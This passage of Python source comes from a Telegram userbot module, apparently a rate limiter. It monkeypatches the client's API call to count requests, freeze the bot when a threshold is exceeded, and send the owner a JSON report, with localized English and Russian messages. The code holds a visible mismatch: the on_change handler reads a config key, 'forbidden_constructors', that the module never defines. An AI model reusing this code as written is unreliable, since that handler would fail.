APIRatelimiterMod(loader.Module):\n \"\"\"Helps userbot avoid spamming Telegram API\"\"\"\n\n strings = {\n \"name\": \"APILimiter\",\n \"warning\": (\n \"☣️\"\n \" WARNING!\\n\\nYour account exceeded the limit of requests, specified\"\n \" in config. In order to prevent Telegram API Flood, userbot has been\"\n \" fully frozen for {} seconds. Further info is provided in attached\"\n \" file. \\n\\nIt is recommended to get help in {prefix}support\"\n \" group!\\n\\nIf you think, that it is an intended behavior, then wait until\"\n \" userbot gets unlocked and next time, when you will be going to perform\"\n \" such an operation, use {prefix}suspend_api_protect <time\"\n \" in seconds>\"\n ),\n \"args_invalid\": (\n \"☣️ Invalid arguments\"\n ),\n \"suspended_for\": (\n \"👌 API Flood Protection\"\n \" is disabled for {} seconds\"\n ),\n \"test\": (\n \"☣️ This action will\"\n \" expose your account to flooding Telegram API. In order to confirm,\"\n \" that you really know, what you are doing, complete this simple test -\"\n \" find the emoji, differing from others\"\n ),\n \"on\": (\n \"👌 Protection enabled\"\n ),\n \"off\": (\n \"👌 Protection\"\n \" disabled\"\n ),\n \"u_sure\": (\n \"☣️ Are you sure?\"\n ),\n }\n\n strings_ru = {\n \"warning\": (\n \"☣️\"\n \" ВНИМАНИЕ!\\n\\nАккаунт вышел за лимиты запросов, указанные в\"\n \" конфиге. С целью предотвращения флуда Telegram API, юзербот был\"\n \" полностью заморожен на {} секунд. Дополнительная информация\"\n \" прикреплена в файле ниже. \\n\\nРекомендуется обратиться за помощью в\"\n \" {prefix}support группу!\\n\\nЕсли ты считаешь, что это\"\n \" запланированное поведение юзербота, просто подожди, пока закончится\"\n \" таймер и в следующий раз, когда запланируешь выполнять такую\"\n \" ресурсозатратную операцию, используй\"\n \" {prefix}suspend_api_protect <время в секундах>\"\n ),\n \"args_invalid\": (\n \"☣️ Неверные\"\n \" аргументы\"\n ),\n \"suspended_for\": (\n \"👌 Защита API отключена\"\n \" на {} секунд\"\n ),\n \"test\": (\n \"☣️ Это действие\"\n \" открывает юзерботу возможность флудить Telegram API. Для того,\"\n \" чтобы убедиться, что ты действительно уверен в том, что делаешь - реши\"\n \" простенький тест - найди отличающийся эмодзи.\"\n ),\n \"on\": \"👌 Защита включена\",\n \"off\": (\n \"👌 Защита отключена\"\n ),\n \"u_sure\": \"☣️ Ты уверен?\",\n }\n\n _ratelimiter = []\n _suspend_until = 0\n _lock = False\n\n def __init__(self):\n self.config = loader.ModuleConfig(\n loader.ConfigValue(\n \"time_sample\",\n 15,\n lambda: \"Time sample through which the bot will count requests\",\n validator=loader.validators.Integer(minimum=1),\n ),\n loader.ConfigValue(\n \"threshold\",\n 100,\n lambda: \"Threshold of requests to trigger protection\",\n validator=loader.validators.Integer(minimum=10),\n ),\n loader.ConfigValue(\n \"local_floodwait\",\n 30,\n lambda: \"Freeze userbot for this amount of time, if request limit exceeds\",\n validator=loader.validators.Integer(minimum=10, maximum=3600),\n ),\n loader.ConfigValue(\n \"forbidden_methods\",\n [\"joinChannel\", \"importChatInvite\"],\n lambda: \"Forbid specified methods from being executed throughout external modules\",\n validator=loader.validators.MultiChoice(\n [\n \"sendReaction\",\n \"joinChannel\",\n \"importChatInvite\",\n ]\n ),\n on_change=lambda: self._client.forbid_constructors(\n map(\n lambda x: CONSTRUCTORS[x], self.config[\"forbidden_constructors\"]\n )\n ),\n ),\n )\n\n async def client_ready(self):\n asyncio.ensure_future(self._install_protection())\n\n async def _install_protection(self):\n await asyncio.sleep(30) # Restart lock\n if hasattr(self._client._call, \"_old_call_rewritten\"):\n raise loader.SelfUnload(\"Already installed\")\n\n old_call = self._client._call\n\n async def new_call(\n sender: \"MTProtoSender\", # type: ignore\n request: \"TLRequest\", # type: ignore\n ordered: bool = False,\n flood_sleep_threshold: int = None,\n ):\n if time.perf_counter() > self._suspend_until and not self.get(\n \"disable_protection\",\n True,\n ):\n request_name = type(request).__name__\n self._ratelimiter += [[request_name, time.perf_counter()]]\n\n self._ratelimiter = list(\n filter(\n lambda x: time.perf_counter() - x[1]\n < int(self.config[\"time_sample\"]),\n self._ratelimiter,\n )\n )\n\n if (\n len(self._ratelimiter) > int(self.config[\"threshold\"])\n and not self._lock\n ):\n self._lock = True\n report = io.BytesIO(\n json.dumps(\n self._ratelimiter,\n indent=4,\n ).encode(\"utf-8\")\n )\n report.name = \"local_fw_report.json\"\n\n await self.inline.bot.send_document(\n self.tg_id,\n report,\n caption=self.strings(\"warning\").format(\n self.config[\"local_floodwait\"],\n prefix=self.get_prefix(),\n ),\n )\n\n # It is intented to use time.sleep instead of asyncio.sleep\n time.sleep(int(self.config[\"local_floodwait\"]))\n self._lock = False\n\n return await old_call(sender, request, ordered, flood_sleep_threshold)\n\n self._client._call = new_call\n self._client._old_call_rewritten = old_call\n self._client._call._acbot_overwritten = True\n logger.debug(\"Successfully installed ratelimiter\")\n\n async def on_unload(self):\n if hasattr(self._client, \"_old_call_rewritten\"):\n self._client._call = self._client._old_call_rewritten\n delattr(self._client, \"_old_call_rewritten\")\n logger.debug(\"Successfully uninstalled ratelimiter\")\n\n @loader.command(ru_doc=\"<время в секундах> - Заморозить защиту API на N секунд\")\n async def suspend_api_protect(self, message: Message):\n \"\"\"